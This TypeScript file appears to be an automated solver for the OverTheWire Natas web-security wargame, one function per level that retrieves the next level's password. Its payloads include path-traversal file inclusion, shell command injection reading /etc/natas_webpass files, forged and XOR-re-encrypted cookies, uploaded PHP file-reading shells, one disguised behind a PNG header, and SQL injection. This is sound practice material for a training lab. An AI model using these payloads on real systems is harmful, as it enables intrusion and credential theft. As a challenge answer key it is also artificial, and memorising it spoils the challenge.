import { bytes2str, determinePeriod, hex2bin, xor } from "./util";

const solves: SolveFn[] = [
  async ({ fetch }) => {
    const result = await fetch("/");
    const text = await result.text();
    const match = text.match(/The password for natas1 is ([^ ]+)/);
    return match[1];
  },

  async ({ fetch }) => {
    const result = await fetch("/");
    const text = await result.text();
    const match = text.match(/The password for natas2 is ([^ ]+)/);
    return match[1];
  },

  async ({ fetch }) => {
    const result = await fetch("/files/users.txt");
    const text = await result.text();
    const match = text.match(/^natas3:([^\s]+)$/m);
    return match[1];
  },

  async ({ fetch }) => {
    // Discover this URL through /robots.txt
    const result = await fetch("/s3cr3t/users.txt");
    const text = await result.text();
    const match = text.match(/^natas4:([^\s]+)$/m);
    return match[1];
  },

  async ({ fetch }) => {
    const result = await fetch("/", {
      headers: { Referer: "http://natas5.natas.labs.overthewire.org/" },
    });
    const text = await result.text();
    const match = text.match(/The password for natas5 is ([^\s]+)/m);
    return match[1];
  },

  async ({ fetch }) => {
    const result = await fetch("/", {
      headers: { cookie: "loggedin=1" },
    });
    const text = await result.text();
    const match = text.match(/The password for natas6 is ([a-zA-Z0-9]+)/m);
    return match[1];
  },

  async ({ fetch }) => {
    const result = await fetch("/includes/secret.inc");
    const text = await result.text();
    const secret = text.match(/\$secret = "([^"]+)"/);

    const params = new URLSearchParams([
      ["secret", secret[1]],
      ["submit", "Submit+Query"],
    ]);
    const result2 = await fetch("/", {
      method: "POST",
      headers: { "Content-Type": "application/x-www-form-urlencoded" },
      body: params.toString(),
    });
    const text2 = await result2.text();

    const match = text2.match(/The password for natas7 is ([a-zA-Z0-9]+)/m);
    return match[1];
  },

  async ({ fetch }) => {
    // Local file inclusion
    const result = await fetch(
      "/index.php?page=../../../../../etc/natas_webpass/natas8"
    );
    const text = await result.text();
    const match = text.match(/<br>\s+([a-zA-Z0-9]+)\s+<!--/m);
    return match[1];
  },

  async ({ fetch }) => {
    const encodedSecret = "3d3d516343746d4d6d6c315669563362";
    let secret: any = hex2bin(encodedSecret);
    secret.reverse();
    secret = bytes2str(secret);
    secret = atob(secret);

    const params = new URLSearchParams([
      ["secret", secret],
      ["submit", "Submit+Query"],
    ]);
    const result = await fetch("/", {
      method: "POST",
      headers: { "Content-Type": "application/x-www-form-urlencoded" },
      body: params.toString(),
    });
    const text = await result.text();
    const match = text.match(/The password for natas9 is ([a-zA-Z0-9]+)/m);
    return match[1];
  },

  async ({ fetch }) => {
    const result = await fetch(
      "/?needle=%3B+cat+%2Fetc%2Fnatas_webpass%2Fnatas10+%23&submit=Search"
    );
    const text = await result.text();
    const match = text.match(/<pre>\s*([a-zA-Z0-9]+)\s*<\/pre>/m);
    return match[1];
  },

  async ({ fetch }) => {
    const result = await fetch(
      "/?needle=%22%22+%2Fetc%2Fnatas_webpass%2Fnatas11+%23&submit=Search"
    );
    const text = await result.text();
    const match = text.match(/<pre>\s*([a-zA-Z0-9]+)\s*<\/pre>/m);
    return match[1];
  },

  async ({ fetch }) => {
    const result = await fetch("/");
    const originalCiphertext = atob(
      decodeURIComponent(result.headers.get("set-cookie").split("=")[1])
    );
    const originalPlaintext = `{"showpassword":"no","bgcolor":"#ffffff"}`;
    const fullKey = xor(originalCiphertext, originalPlaintext);
    const key = fullKey.slice(0, determinePeriod(fullKey));

    const data = { showpassword: "yes", bgcolor: "#ffffff" };
    const encrypted = encodeURIComponent(
      btoa(bytes2str(xor(JSON.stringify(data), key)))
    );

    const result2 = await fetch("/", {
      headers: { cookie: `data=${encrypted}` },
    });
    const text = await result2.text();
    const match = text.match(/The password for natas12 is ([a-zA-Z0-9]+)/m);
    return match[1];
  },

  async ({ fetch }) => {
    const data = new FormData();
    data.append("filename", "index.php");
    const payload = `<?php echo file_get_contents("/etc/natas_webpass/natas13"); ?>`;
    data.append("uploadedfile", new Blob([payload]), "index.php");
    const uploadResult = await fetch("/", {
      method: "POST",
      body: data,
    });

    const text = await uploadResult.text();
    const urlMatch = text.match(/The file <a href="([^"]+)">/);
    const url = urlMatch[1];

    const fileResult = await fetch(url);
    return (await fileResult.text()).trim();
  },

  async ({ fetch }) => {
    const data = new FormData();
    data.append("filename", "index.php");
    // From http://www.libpng.org/pub/png/spec/1.2/PNG-Structure.html
    const header = new Uint8Array([137, 80, 78, 71, 13, 10, 26, 10]);
    const payload = `(<?php echo file_get_contents("/etc/natas_webpass/natas14"); ?>)`;
    data.append("uploadedfile", new Blob([header, payload]), "index.png");
    const uploadResult = await fetch("/", {
      method: "POST",
      body: data,
    });

    const text = await uploadResult.text();
    console.log("result!", text);
    const urlMatch = text.match(/The file <a href="([^"]+)">/);
    const url = urlMatch[1];

    const fileResult = await fetch(url);
    const text2 = await fileResult.text();
    const match = text2.match(/\(([^\)]+)\)/);
    return match[1].trim();
  },

  async ({ fetch }) => {
    const params = new URLSearchParams([
      ["username", `" or 1=1 or "`],
      ["password", ""],
    ]);
    const result = await fetch("/", {
      method: "POST",
      headers: { "Content-Type": "application/x-www-form-urlencoded" },
      body: params.toString(),
    });
    const text = await result.text();
    const match = text.match(/The password for natas15 is ([a-zA-Z0-9]+)/m);
    return match[1];
  },
];

export default solves;

interface SolveFn {
  (props: SolveFnProps): string | Promise<string>;
}

interface SolveFnProps {
  username: string;
  prevPassword: string;
  fetch: (url: string, init?: RequestInit) => Promise<Response>;
}